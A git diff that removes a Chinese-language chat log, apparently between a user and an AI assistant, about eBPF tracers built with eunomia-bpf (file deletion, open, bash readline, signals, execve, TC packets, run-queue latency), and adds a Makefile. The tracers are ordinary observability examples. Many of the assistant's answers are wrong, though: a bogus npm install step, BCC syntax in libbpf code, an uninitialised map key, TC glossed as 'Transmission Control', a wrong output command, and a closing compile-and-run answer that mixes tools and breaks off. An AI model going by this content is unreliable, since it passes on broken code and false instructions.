4710.951819: bpf_trace_printk: KPROBE EXIT: ret = 0 - rm-9346 [005] d..3 4710.951852: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test2 - rm-9346 [005] d..4 4710.951895: bpf_trace_printk: KPROBE EXIT: ret = 0 -``` - -> 您的描述是正确的。您可以使用 ecc 工具编译您的 eBPF 程序,编译后会生成一个 package.json 文件。然后,可以使用 ecli 命令运行该程序,以便监控系统调用。运行 eBPF 程序后,您可以查看 /sys/kernel/debug/tracing/trace_pipe 文件,以查看程序的输出。 -> -> 请注意,编译和运行 eBPF 程序的步骤可能会有所不同,具体取决于使用的工具和系统环境。如果您在编译和运行 eBPF 程序时遇到任何问题,请随时告评,我很乐意帮助您解决问题。 - -是的。 - -```c -#include "vmlinux.h" -#include -#include - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -SEC("fentry/do_unlinkat") -int BPF_PROG(do_unlinkat, int dfd, struct filename *name) -{ - pid_t pid; - - pid = bpf_get_current_pid_tgid() >> 32; - bpf_printk("fentry: pid = %d, filename = %s\n", pid, name->name); - return 0; -} - -SEC("fexit/do_unlinkat") -int BPF_PROG(do_unlinkat_exit, int dfd, struct filename *name, long ret) -{ - pid_t pid; - - pid = bpf_get_current_pid_tgid() >> 32; - bpf_printk("fexit: pid = %d, filename = %s, ret = %ld\n", pid, name->name, ret); - return 0; -} -``` - -这段程序通过定义两个函数,分别附加到 do_unlinkat 和 do_unlinkat_exit 上。这两个函数分别在进入 do_unlinkat 和离开 do_unlinkat 时执行。这两个函数通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数来获取调用 do_unlinkat 的进程 ID,文件名和返回值,并在内核日志中打印出来。请告诉我如何编译运行这段程序。 - -> 您的 eBPF 程序定义了两个函数:do_unlinkat 和 do_unlinkat_exit。这两个函数都使用 BPF_PROG 宏附加到 do_unlinkat 和 do_unlinkat_exit 函数上。do_unlinkat 函数在进入 do_unlinkat 时执行,do_unlinkat_exit 函数在离开 do_unlinkat 时执行。这两个函数通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数来获取调用 do_unlinkat 的进程 ID,文件名和返回值,并在内核日志中打印出来。 -> -> 要编译和运行这段程序,您可以使用 bcc 工具集。首先,在终端中输入以下命令来安装 bcc 工具集: - -``` -sudo apt install bcc-tools libbcc-examples linux-headers-$(uname -r) -``` - -> 然后,在终端中输入以下命令来编译您的 eBPF 程序: - -我不希望你继续使用 BCC 工具集,请使用 eunomia-bpf - -> 好的。您可以使用 eunomia-bpf 工具编译您的 eBPF 程序。首先,在终端中输入以下命令来安装 eunomia-bpf: - -sudo npm install -g eunomia-bpf - -> 然后,在终端中输入以下命令来编译您的 eBPF 程序: - -``` -ecc kprobe-link.bpf.c -``` - -> 编译后,您会得到一个 package.json 文件。您可以使用 ecli 命令运行该程序: - -``` -sudo ecli run package.json -``` - -> 运行该程序后,您可以查看 /sys/kernel/debug/tracing/trace_pipe 文件,以查看程序的输出。请注意,编译和运行 eBPF 程序的步骤可能会有所不同,具体取决于使用的工具和系统环境。如果您在编 - -我们需要编写一段 eBPF 程序来捕获进程打开文件的系统调用,具体实现如下: - -```c -// SPDX-License-Identifier: GPL-2.0 -// Copyright (c) 2019 Facebook -// Copyright (c) 2020 Netflix -#include -#include -#include "opensnoop.h" - - -/// Process ID to trace -const volatile int pid_target = 0; - -SEC("tracepoint/syscalls/sys_enter_open") -int tracepoint__syscalls__sys_enter_open(struct trace_event_raw_sys_enter* ctx) -{ - u64 id = bpf_get_current_pid_tgid(); - u32 pid = id; - - if (pid_target && pid_target != pid) - return false; - // Use bpf_printk to print the process information - bpf_printk("Process ID: %d enter sys open\n", pid); - return 0; -} - -SEC("tracepoint/syscalls/sys_enter_openat") -int tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter* ctx) -{ - u64 id = bpf_get_current_pid_tgid(); - u32 pid = id; - - if (pid_target && pid_target != pid) - return false; - // Use bpf_printk to print the process information - bpf_printk("Process ID: %d enter sys openat\n", pid); - return 0; -} - -/// Trace open family syscalls. -char LICENSE[] SEC("license") = "GPL"; -``` - -上面的 eBPF 程序通过定义两个函数 tracepoint__syscalls__sys_enter_open 和 tracepoint__syscalls__sys_enter_openat 并使用 SEC 宏把它们附加到 sys_enter_open 和 sys_enter_openat 两个 tracepoint(即在进入 open 和 openat 系统调用时执行)。这两个函数通过使用 bpf_get_current_pid_tgid 函数获取调用 open 或 openat 系统调用的进程 ID,并使用 bpf_printk 函数在内核日志中打印出来。 - -> 编译运行这段 eBPF 程序,请使用 ecc 工具编译: - -``` -$ ecc capture-sys-open.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -``` - -> 然后运行: - -``` -sudo ecli run package.json -``` - -> 在 /sys/kernel/debug/tracing/trace_pipe 文件中,应该能看到类似下面的输出: - -``` -$ sudo cat /sys/kernel/debug/tracing/trace_pipe - cat-9349 [005] d..3 4710.951696: bpf_trace_printk: Process ID: 9349 enter sys open - cat-9349 [005] d..3 4710.951696: bpf_trace_printk: Process ID: 9349 enter sys openat -``` - -> 如果想要只跟踪特定的进程,可以在程序中设置 pid_target 变量的值,例如: - -``` -const volatile int pid_target = 1234; -``` - -> 这样,程序只会输出 PID 为 1234 的进程的信息。 - -是的,谢谢你。我会继续给你一些 eBPF 程序。 - -> 好的,请继续。 - -```c -/* SPDX-License-Identifier: GPL-2.0 */ -/* Copyright (c) 2021 Facebook */ -#include -#include -#include -#include "bashreadline.h" - -#define TASK_COMM_LEN 16 -#define MAX_LINE_SIZE 80 - -SEC("uprobe//bin/bash:readline") -int BPF_KRETPROBE(printret, const void *ret) { - char str[MAX_LINE_SIZE]; - char comm[TASK_COMM_LEN]; - u32 pid; - - if (!ret) - return 0; - - bpf_get_current_comm(&comm, sizeof(comm)); - - pid = bpf_get_current_pid_tgid() >> 32; - bpf_probe_read_user_str(str, sizeof(str), ret); - - bpf_printk("PID %d (%s) read: %s ", pid, comm, str); - - return 0; -}; - -char LICENSE[] SEC("license") = "GPL"; -``` - -这段代码的作用是在 bash 的 readline 函数返回时执行指定的 BPF_KRETPROBE 函数,即 printret 函数。 - -在 printret 函数中,我们首先获取了调用 readline 函数的进程的进程名称和进程 ID,然后通过 bpf_probe_read_user_str 函数读取了用户输入的命令行字符串,最后通过 bpf_printk 函数打印出进程 ID、进程名称和输入的命令行字符串。 - -除此之外,我们还需要通过 SEC 宏来定义 uprobe 探针,并使用 BPF_KRETPROBE 宏来定义探针函数。 - -在 SEC 宏中,我们需要指定 uprobe 的类型、要捕获的二进制文件的路径和要捕获的函数名称。例如,上面的代码中的 SEC 宏的定义如下: - -```c -SEC("uprobe//bin/bash:readline") -``` - -这表示我们要捕获的是 /bin/bash 二进制文件中的 readline 函数。 - -> 是的,你描述得很清楚。 -> -> 编译这段程序的方法与其他 eBPF 程序的编译方法相同,需要使用 eunomia-bpf 工具集。首先使用 ecc 编译程序: - -``` -$ ecc bashreadline.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -``` - -> 然后使用 ecli 运行编译后的程序: - -``` -$ sudo ecli run ./package.json -Runing eBPF program... -``` - -> 在 /sys/kernel/debug/tracing/trace_pipe 文件中,应该能看到类似下面的输出: - -``` -$ sudo cat /sys/kernel/debug/tracing/trace_pipe -PID 1234 (bash) read: some command line input -PID 1234 (bash) read: another command line input -... -``` - -> 这些输出表示有一个进程 ID 为 1234,名称为 bash 的进程在调用 readline 函数时输入了相应的命令行输入。 - -```c -#include -#include -#include "sigsnoop.h" - -#define MAX_ENTRIES 10240 - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, MAX_ENTRIES); - __type(key, __u32); - __type(value, struct event); -} values SEC(".maps"); - - -static int probe_entry(pid_t tpid, int sig) -{ - struct event event = {}; - __u64 pid_tgid; - __u32 pid, tid; - - pid_tgid = bpf_get_current_pid_tgid(); - pid = pid_tgid >> 32; - event.pid = pid; - event.tpid = tpid; - event.sig = sig; - bpf_get_current_comm(event.comm, sizeof(event.comm)); - bpf_map_update_elem(&values, &tid, &event, BPF_ANY); - return 0; -} - -static int probe_exit(void *ctx, int ret) -{ - __u64 pid_tgid = bpf_get_current_pid_tgid(); - __u32 tid = (__u32)pid_tgid; - struct event *eventp; - - eventp = bpf_map_lookup_elem(&values, &tid); - if (!eventp) - return 0; - - eventp->ret = ret; - bpf_printk("PID %d (%s) sent signal %d to PID %d, ret = %d", - eventp->pid, eventp->comm, eventp->sig, eventp->tpid, eventp->ret); - -cleanup: - bpf_map_delete_elem(&values, &tid); - return 0; -} - -SEC("tracepoint/syscalls/sys_enter_kill") -int kill_entry(struct trace_event_raw_sys_enter *ctx) -{ - pid_t tpid = (pid_t)ctx->args[0]; - int sig = (int)ctx->args[1]; - - return probe_entry(tpid, sig); -} - -SEC("tracepoint/syscalls/sys_exit_kill") -int kill_exit(struct trace_event_raw_sys_exit *ctx) -{ - return probe_exit(ctx, ctx->ret); -} - -SEC("tracepoint/syscalls/sys_enter_tkill") -int tkill_entry(struct trace_event_raw_sys_enter *ctx) -{ - pid_t tpid = (pid_t)ctx->args[0]; - int sig = (int)ctx->args[1]; - - return probe_entry(tpid, sig); -} - -SEC("tracepoint/syscalls/sys_exit_tkill") -int tkill_exit(struct trace_event_raw_sys_exit *ctx) -{ - return probe_exit(ctx, ctx->ret); -} - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; -``` - -上面的代码定义了一个 eBPF 程序,用于捕获进程发送信号的系统调用,包括 kill、tkill 和 tgkill。它通过使用 tracepoint 来捕获系统调用的进入和退出事件,并在这些事件发生时执行指定的探针函数,例如 probe_entry 和 probe_exit。 - -在探针函数中,我们使用 bpf_map 存储捕获的事件信息,包括发送信号的进程 ID、接收信号的进程 ID、信号值和系统调用的返回值。在系统调用退出时,我们将获取存储在 bpf_map 中的事件信息,并使用 bpf_printk 打印进程 ID、进程名称、发送的信号和系统调用的返回值。 - -最后,我们还需要使用 SEC 宏来定义探针,并指定要捕获的系统调用的名称,以及要执行的探针函数。 - -```c -// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) -#include -#include -#include -#include "execsnoop.bpf.h" - -struct { - __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); - __uint(key_size, sizeof(u32)); - __uint(value_size, sizeof(u32)); -} events SEC(".maps"); - -SEC("tracepoint/syscalls/sys_enter_execve") -int tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx) -{ - u64 id; - pid_t pid, tgid; - unsigned int ret; - struct event event; - struct task_struct *task; - const char **args = (const char **)(ctx->args[1]); - const char *argp; - - uid_t uid = (u32)bpf_get_current_uid_gid(); - int i; - id = bpf_get_current_pid_tgid(); - pid = (pid_t)id; - tgid = id >> 32; - - event.pid = tgid; - event.uid = uid; - task = (struct task_struct*)bpf_get_current_task(); - bpf_probe_read_str(&event.comm, sizeof(event.comm), task->comm); - event.is_exit = false; - bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); - return 0; -} - -SEC("tracepoint/syscalls/sys_exit_execve") -int tracepoint__syscalls__sys_exit_execve(struct trace_event_raw_sys_exit* ctx) -{ - u64 id; - pid_t pid; - int ret; - struct event event; - - u32 uid = (u32)bpf_get_current_uid_gid(); - - id = bpf_get_current_pid_tgid(); - pid = (pid_t)id; - - ret = ctx->ret; - event.retval = ret; - event.pid = pid; - event.uid = uid; - event.is_exit = true; - bpf_get_current_comm(&event.comm, sizeof(event.comm)); - bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); - return 0; -} - -char LICENSE[] SEC("license") = "GPL"; - -``` - -这段代码定义了两个 eBPF 程序,一个用于捕获进程执行 execve 系统调用的入口,另一个用于捕获进程执行 execve 系统调用的出口。 - -在入口程序中,我们首先获取了当前进程的进程 ID 和用户 ID,然后通过 bpf_get_current_task 函数获取了当前进程的 task_struct 结构体,并通过 bpf_probe_read_str 函数读取了进程名称。最后,我们通过 bpf_perf_event_output 函数将进程执行事件输出到 perf buffer。 - -在出口程序中,我们首先获取了进程的进程 ID 和用户 ID,然后通过 bpf_get_current_comm 函数获取了进程的名称,最后通过 bpf_perf_event_output 函数将进程执行事件输出到 perf buffer。 - -使用这段代码,我们就可以捕获 Linux 内核中进程执行的事件。我们可以通过工具(例如 eunomia-bpf)来查看这些事件,并分析进程的执行情况。 - -> 是的,这段代码通过定义两个 eBPF 程序来捕获进程执行 execve 系统调用的入口和出口事件。在入口程序中,我们获取了当前进程的进程 ID 和用户 ID,并通过 bpf_get_current_task 函数获取了当前进程的 task_struct 结构体,并通过 bpf_probe_read_str 函数读取了进程名称。在出口程序中,我们获取了当前进程的进程 ID 和用户 ID,并获取了 execve 系统调用的返回值。最后,在 - -``` -#include -#include -#include -#include - -#define TC_ACT_OK 0 -#define ETH_P_IP 0x0800 /* Internet Protocol packet */ - -/// @tchook {"ifindex":1, "attach_point":"BPF_TC_INGRESS"} -/// @tcopts {"handle":1, "priority":1} -SEC("tc") -int tc_ingress(struct __sk_buff *ctx) -{ - void *data_end = (void *)(__u64)ctx->data_end; - void *data = (void *)(__u64)ctx->data; - struct ethhdr *l2; - struct iphdr *l3; - - if (ctx->protocol != bpf_htons(ETH_P_IP)) - return TC_ACT_OK; - - l2 = data; - if ((void *)(l2 + 1) > data_end) - return TC_ACT_OK; - - l3 = (struct iphdr *)(l2 + 1); - if ((void *)(l3 + 1) > data_end) - return TC_ACT_OK; - - bpf_printk("Got IP packet: tot_len: %d, ttl: %d", bpf_ntohs(l3->tot_len), l3->ttl); - return TC_ACT_OK; -} - -char __license[] SEC("license") = "GPL"; -``` - -这段代码定义了一个 eBPF 程序,它可以通过 Linux TC(Transmission Control)来捕获数据包并进行处理。在这个程序中,我们限定了只捕获 IPv4 协议的数据包,然后通过 bpf_printk 函数打印出数据包的总长度和 Time-To-Live(TTL)字段的值。 - -需要注意的是,我们在代码中使用了一些 BPF 库函数,例如 bpf_htons 和 bpf_ntohs 函数,它们用于进行网络字节序和主机字节序之间的转换。此外,我们还使用了一些注释来为 TC 提供附加点和选项信息。例如,在这段代码的开头,我们使用了以下注释: - -```c -/// @tchook {"ifindex":1, "attach_point":"BPF_TC_INGRESS"} -/// @tcopts {"handle":1, "priority":1} -``` - -> 这些注释告诉 TC 将 eBPF 程序附加到网络接口的 ingress 附加点,并指定了 handle 和 priority 选项的值。 -> -> 总之,这段代码实现了一个简单的 eBPF 程序,用于捕获数据包并打印出它们的信息。 - -编译运行 - -```console -docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest -``` - -or compile with `ecc`: - -```console -$ ecc tc.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -``` - -```shell -$ sudo ecli run ./package.json -... -Successfully started! Please run `sudo cat /sys/kernel/debug/tracing/trace_pipe` to see output of the BPF program. -...... -``` - -The `tc` output in `/sys/kernel/debug/tracing/trace_pipe` should look -something like this: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe - node-1254811 [007] ..s1 8737831.671074: 0: Got IP packet: tot_len: 79, ttl: 64 - sshd-1254728 [006] ..s1 8737831.674334: 0: Got IP packet: tot_len: 79, ttl: 64 - sshd-1254728 [006] ..s1 8737831.674349: 0: Got IP packet: tot_len: 72, ttl: 64 - node-1254811 [007] ..s1 8737831.674550: 0: Got IP packet: tot_len: 71, ttl: 64 -``` - -通过 tc.bpf.c 中的代码,我们可以发现,该 eBPF 程序通过在 TC 入口阶段注册一个挂载点来捕获网络数据包,并判断数据包的协议类型是否为 IP 协议,如果是,则解析数据包头部,获取关键信息,如包长度、TTL 等,最后通过 bpf_printk 函数将信息打印出来。 - -这段代码还使用了 @tchook 和 @tcopts 注释,用于指定该 eBPF 程序的挂载点和处理方式。例如,@tchook 注释中的 ifindex 参数指定了该 eBPF 程序 - -```c -const volatile __u64 min_us = 0; -const volatile pid_t targ_pid = 0; -const volatile pid_t targ_tgid = 0; - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, 10240); - __type(key, u32); - __type(value, u64); -} start SEC(".maps"); - -struct { - __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); - __uint(key_size, sizeof(u32)); - __uint(value_size, sizeof(u32)); -} events SEC(".maps"); - -/* record enqueue timestamp */ -static int trace_enqueue(u32 tgid, u32 pid) -{ - u64 ts; - - if (!pid) - return 0; - if (targ_tgid && targ_tgid != tgid) - return 0; - if (targ_pid && targ_pid != pid) - return 0; - - ts = bpf_ktime_get_ns(); - bpf_map_update_elem(&start, &pid, &ts, 0); - return 0; -} - -static int handle_switch(void *ctx, struct task_struct *prev, struct task_struct *next) -{ - struct event event = {}; - u64 *tsp, delta_us; - u32 pid; - - /* ivcsw: treat like an enqueue event and store timestamp */ - if (get_task_state(prev) == TASK_RUNNING) - trace_enqueue(BPF_CORE_READ(prev, tgid), BPF_CORE_READ(prev, pid)); - - pid = BPF_CORE_READ(next, pid); - - /* fetch timestamp and calculate delta */ - tsp = bpf_map_lookup_elem(&start, &pid); - if (!tsp) - return 0; /* missed enqueue */ - - delta_us = (bpf_ktime_get_ns() - *tsp) / 1000; - if (min_us && delta_us <= min_us) - return 0; - - event.pid = pid; - event.prev_pid = BPF_CORE_READ(prev, pid); - event.delta_us = delta_us; - bpf_probe_read_kernel_str(&event.task, sizeof(event.task), next->comm); - bpf_probe_read_kernel_str(&event.prev_task, sizeof(event.prev_task), prev->comm); - - /* output */ - bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, - &event, sizeof(event)); - - bpf_map_delete_elem(&start, &pid); - return 0; -} - -SEC("tp_btf/sched_wakeup") -int BPF_PROG(sched_wakeup, struct task_struct *p) -{ - return trace_enqueue(p->tgid, p->pid); -} - -SEC("tp_btf/sched_wakeup_new") -int BPF_PROG(sched_wakeup_new, struct task_struct *p) -{ - return trace_enqueue(p->tgid, p->pid); -} - -SEC("tp_btf/sched_switch") -int BPF_PROG(sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next) -{ - return handle_switch(ctx, prev, next); -} - -SEC("raw_tp/sched_wakeup") -int BPF_PROG(handle_sched_wakeup, struct task_struct *p) -{ - return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid)); -} - -SEC("raw_tp/sched_wakeup_new") -int BPF_PROG(handle_sched_wakeup_new, struct task_struct *p) -{ - return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid)); -} - -SEC("raw_tp/sched_switch") -int BPF_PROG(handle_sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next) -{ - return handle_switch(ctx, prev, next); -} -``` - -> 这段代码定义了一个 eBPF 程序,该程序用于跟踪进程在运行队列中的等待时间。它通过使用 tracepoint 和 perf event 输出来实现。 -> -> 程序首先定义了两个 BPF 内核映射:start 映射用于存储每个进程在被调度运行之前的时间戳,events 映射用于存储 perf 事件。 -> -> 然后,程序定义了一些帮助函数,用于跟踪每个进程的调度状态。 trace_enqueue 函数用于在进程被调度运行之前记录时间戳, handle_switch 函数用于处理进程切换,并计算进程在队列中等待的时间。 -> -> 接下来,程序定义了五个 tracepoint 程序,用于捕获不同的调度器事件。 sched_wakeup 和 sched_wakeup_new 程序用于捕获新进程被唤醒的事件, sched_switch 程序用于捕获进程切换事件, handle_sched_wakeup 和 handle_sched_wakeup_new 程序用于捕获 raw tracepoint 事件。这些 tracepoint 程序调用了前面定义的帮助函数来跟踪进程的调度状态。 -> -> 最后,程序将计算得到的等待时间输出到 perf 事件中,供用户空间工具进行捕获和分析。 - -``` -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, MAX_ENTRIES); - __type(key, u32); - __type(value, u64); -} start SEC(".maps"); - -static struct hist zero; - -/// @sample {"interval": 1000, "type" : "log2_hist"} -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, MAX_ENTRIES); - __type(key, u32); - __type(value, struct hist); -} hists SEC(".maps"); - -static int trace_enqueue(u32 tgid, u32 pid) -{ - u64 ts; - - if (!pid) - return 0; - if (targ_tgid && targ_tgid != tgid) - return 0; - - ts = bpf_ktime_get_ns(); - bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); - return 0; -} - -static unsigned int pid_namespace(struct task_struct *task) -{ - struct pid *pid; - unsigned int level; - struct upid upid; - unsigned int inum; - - /* get the pid namespace by following task_active_pid_ns(), - * pid->numbers[pid->level].ns - */ - pid = BPF_CORE_READ(task, thread_pid); - level = BPF_CORE_READ(pid, level); - bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); - inum = BPF_CORE_READ(upid.ns, ns.inum); - - return inum; -} - -static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next) -{ - struct hist *histp; - u64 *tsp, slot; - u32 pid, hkey; - s64 delta; - - if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) - return 0; - - if (get_task_state(prev) == TASK_RUNNING) - trace_enqueue(BPF_CORE_READ(prev, tgid), BPF_CORE_READ(prev, pid)); - - pid = BPF_CORE_READ(next, pid); - - tsp = bpf_map_lookup_elem(&start, &pid); - if (!tsp) - return 0; - delta = bpf_ktime_get_ns() - *tsp; - if (delta < 0) - goto cleanup; - - if (targ_per_process) - hkey = BPF_CORE_READ(next, tgid); - else if (targ_per_thread) - hkey = pid; - else if (targ_per_pidns) - hkey = pid_namespace(next); - else - hkey = -1; - histp = bpf_map_lookup_or_try_init(&hists, &hkey, &zero); - if (!histp) - goto cleanup; - if (!histp->comm[0]) - bpf_probe_read_kernel_str(&histp->comm, sizeof(histp->comm), - next->comm); - if (targ_ms) - delta /= 1000000U; - else - delta /= 1000U; - slot = log2l(delta); - if (slot >= MAX_SLOTS) - slot = MAX_SLOTS - 1; - __sync_fetch_and_add(&histp->slots[slot], 1); - -cleanup: - bpf_map_delete_elem(&start, &pid); - return 0; -} - -SEC("raw_tp/sched_wakeup") -int BPF_PROG(handle_sched_wakeup, struct task_struct *p) -{ - if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) - return 0; - - return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid)); -} - -SEC("raw_tp/sched_wakeup_new") -int BPF_PROG(handle_sched_wakeup_new, struct task_struct *p) -{ - if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) - return 0; - - return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid)); -} - -SEC("raw_tp/sched_switch") -int BPF_PROG(handle_sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next) -{ - return handle_switch(preempt, prev, next); -} - -char LICENSE[] SEC("license") = "GPL"; -``` - -> 这个 BPF 程序用于监控进程的调度时间。它使用了 tracepoints 和 raw tracepoints,用于监控进程的唤醒和切换事件,并记录进程调度的时间。它还使用了 BPF 的统计功能,以便对时间进行统计,以查看统计信息。这个程序可以按照进程、进程组或进程命名空间来统计信息,并可以针对特定进程或进程组进行过滤。 - -它的输出结果类似这样: - -```console -$ sudo ecli run examples/bpftools/runqlat/package.json -key = 4294967295 -comm = rcu_preempt - - (unit) : count distribution - 0 -> 1 : 9 |**** | - 2 -> 3 : 6 |** | - 4 -> 7 : 12 |***** | - 8 -> 15 : 28 |************* | - 16 -> 31 : 40 |******************* | - 32 -> 63 : 83 |****************************************| - 64 -> 127 : 57 |*************************** | - 128 -> 255 : 19 |********* | - 256 -> 511 : 11 |***** | - 512 -> 1023 : 2 | | - 1024 -> 2047 : 2 | | - 2048 -> 4095 : 0 | | - 4096 -> 8191 : 0 | | - 8192 -> 16383 : 0 | | - 16384 -> 32767 : 1 | | -``` - -> 本程序监测了系统内进程执行时间。它通过在内核事件 sched_wakeup 和 sched_switch 时记录进程时间,然后在下一次 sched_switch 时计算执行时间并进行输出。 -> -> 在程序开头,定义了一些用于存储进程信息的 BPF map,并定义了两个辅助函数 trace_enqueue 和 handle_switch,用于在事件触发时记录进程信息,并计算执行时间。 -> -> 接着,在程序中定义了三个 BPF 程序,分别用于监测事件 sched_wakeup、sched_switch 和 sched_wakeup_new。这些事件在系统中进程被唤醒、切换时触发。每当一个事件触发时,相应的 BPF 程序都会调用辅助函数 handle_switch 计算执行时间。 -> -> 最后,程序通过 BPF perf events 把执行时间的统计信息输出到标准输出。可以通过工具 bpftrace 或者 ecli 来查看统计结果。 - -不是 BPF perf events 。通过 sample hash map 来输出直方图。 - -``` -/// @sample {"interval": 1000, "type" : "log2_hist"} -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, MAX_ENTRIES); - __type(key, u32); - __type(value, struct hist); -} hists SEC(".maps"); -``` - -> 正确的。该程序使用 BPF hash map 来记录每个线程的执行时间,并使用 BPF sample hash map 来定期输出每个线程的直方图。您可以通过在 /sys/kernel/debug/tracing/ 文件系统中执行 "cat runqslat" 来查看输出。 - -不,应该通过 sudo ecli run examples/bpftools/runqlat/package.json 来查看输出。 - -> 对,这样就可以看到输出的直方图了。例如: - -``` -$ sudo ecli run examples/bpftools/runqlat/package.json -key = 4294967295 -comm = rcu_preempt - -Copy code - (unit) : count distribution - 0 -> 1 : 9 |**** | - 2 -> 3 : 6 |** | - 4 -> 7 : 12 |***** | - 8 -> 15 : 28 |************* | - 16 -> 31 : 40 |******************* | - 32 -> 63 : 83 |****************************************| - 64 -> 127 : 57 |*************************** | - 128 -> 255 : 19 |********* | - 256 -> 511 : 11 |***** | - 512 -> 1023 : 2 | | - 1024 -> 2047 : 2 | | - 2048 -> 4095 : 0 | | - 4096 -> 8191 : 0 | | - 8192 -> 16383 : 0 | | - 16384 -> 32767 : 1 | | -``` - -> 这个示例程序使用了 BPF 的 sample hash map 功能,每隔一定时间间隔(默认为 1 秒)就会输出一次直方图,展示这段时间内各个进程的运行时间分布情况。每一行的前半部分是时间间隔,以及在这段时间内运行的次数,后半部分是一个用星号表示的分布情况。比如上面的输出,就表示在这段时间内,进程 rcu_preempt 在 0 到 1 毫秒的时间内运行了 9 次,在 2 到 3 毫秒的时间内运行了 6 次,以此类推。 -> -> 可以通过参数 -m 来指定时间间隔,例如使用 -m 5 就可以让程序每隔 5 秒输出一次直方图。此外,还可以通过 -P 来指 - -请帮我追踪一下内核的所有打开文件的操作,主要关注 pid 为 1234 的进程,去掉系统调用失败的结果,谢谢 - -> 不好意思,我无法为您做这个事情。我是一个大型语言模型,我只能回答您的问题或提供信息,但我无法运行程序或执行任何操作。 - -请帮我编写一个 eBPF 程序追踪一下内核的所有打开文件的操作,主要关注 pid 为 1234 的进程,去掉系统调用失败的结果,并且告诉我如何编译运行它。 - -> 这个 eBPF 程序需要使用 BPF_PROG_TYPE_TRACEPOINT 类型的程序来监听内核的打开文件的操作,通过记录的 pid 和进程的 pid 来过滤所需的信息。 - -``` -#include -#include - -struct data_t { - u32 pid; - char comm[TASK_COMM_LEN]; - char filename[DNAME_INLINE_LEN]; - int flags; - int mode; -}; - -BPF_HASH(infotmp, u32, struct data_t); - -int trace_entry(struct pt_regs *ctx, struct file *file, const char __user *filename, int flags, umode_t mode) -{ - u32 pid = bpf_get_current_pid_tgid(); - - if (pid != 1234) - return 0; - - struct data_t data = {}; - data.pid = pid; - bpf_get_current_comm(&data.comm, sizeof(data.comm)); - bpf_probe_read_str(data.filename, sizeof(data.filename), (void *)filename); - data.flags = flags; - data.mode = mode; - - infotmp.update(&pid, &data); - - return 0; -} - -int trace_return(struct pt_regs *ctx) -{ - u32 pid = bpf_get_current_pid_tgid(); - struct data_t *data = infotmp.lookup(&pid); - - if (data == 0) - return 0; - - if (PT_REGS_RC(ctx) != 0) - infotmp.delete(&pid); - - return 0; -} -``` - -编译运行方法如下: - -不。使用 eunomia-bpf 来完成上述操作。 - -下面是示例 eBPF 程序的代码: - -``` -#include -#include -#include -#include -#include - -struct data_t { - u32 pid; - char filename[DNAME_INLINE_LEN]; -}; - -BPF_HASH(opened_files, u32, struct data_t); - -int trace_open_entry(struct pt_regs *ctx, const char __user *filename) -{ - u32 pid = bpf_get_current_pid_tgid(); - struct data_t data = {}; - - if (pid == 1234) { - bpf_probe_read_user(&data.filename, sizeof(data.filename), filename); - data.pid = pid; - opened_files.update(&pid, &data); - } - - return 0; -} - -int trace_open_return(struct pt_regs *ctx) -{ - int ret = PT_REGS_RC(ctx); - u32 pid = bpf_get_current_pid_tgid(); - - if (pid == 1234 && ret >= 0) { - opened_files.delete(&pid); - } - - return 0; -} -``` - -> 可以使用下面的命令来编译和运行这个程序: - -``` -# 编译 -$ clang -O2 -target bpf -c open.c -o open.o - -# 运行 -$ sudo bpftrace -e 'tracepoint:raw_syscalls:sys_enter_openat /pid == 1234/ { @[comm] = count(); -``` diff --git a/src/Makefile b/src/Makefile new file mode 100644 index 00000000..f6122110 --- /dev/null +++ b/src/Makefile @@ -0,0 +1,23 @@ +# Master Makefile for eBPF tutorials +# Detects subdirectories with Makefiles and builds them + +# Find all subdirectories containing a Makefile +SUBDIRS := $(shell find . -mindepth 2 -maxdepth 2 -name Makefile -exec dirname {} \; | sort) + +# Default target +all: $(SUBDIRS) + +# Build each subdirectory +$(SUBDIRS): + @echo "Building $@" + @$(MAKE) -C $@ + +# Clean all subdirectories +clean: + @for dir in $(SUBDIRS); do \ + echo "Cleaning $$dir"; \ + $(MAKE) -C $$dir clean; \ + done + +# Phony targets +.PHONY: all clean $(SUBDIRS) \ No newline at end of file diff --git a/src/SUMMARY.md b/src/SUMMARY.md index c8263f3e..dd129aac 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -1,69 +1,111 @@ -# eBPF 开发实践教程:基于 CO-RE,通过小工具快速上手 eBPF 开发 - -这是一个基于 `CO-RE`(一次编译,到处运行)的 eBPF 